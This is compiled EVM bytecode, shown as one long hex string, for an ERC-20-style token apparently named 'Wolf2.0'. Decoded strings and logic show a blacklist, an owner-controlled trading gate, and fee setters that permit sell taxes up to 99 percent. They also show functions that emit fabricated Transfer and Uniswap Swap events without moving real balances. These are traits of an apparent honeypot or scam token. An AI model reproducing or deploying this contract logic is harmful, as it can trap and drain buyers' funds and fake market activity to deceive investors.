d14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600781526020017f576f6c66322e3000000000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600781526020017f576f6c66322e3000000000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b60006020820190508181036000830152613ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b8381101561428557815161426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b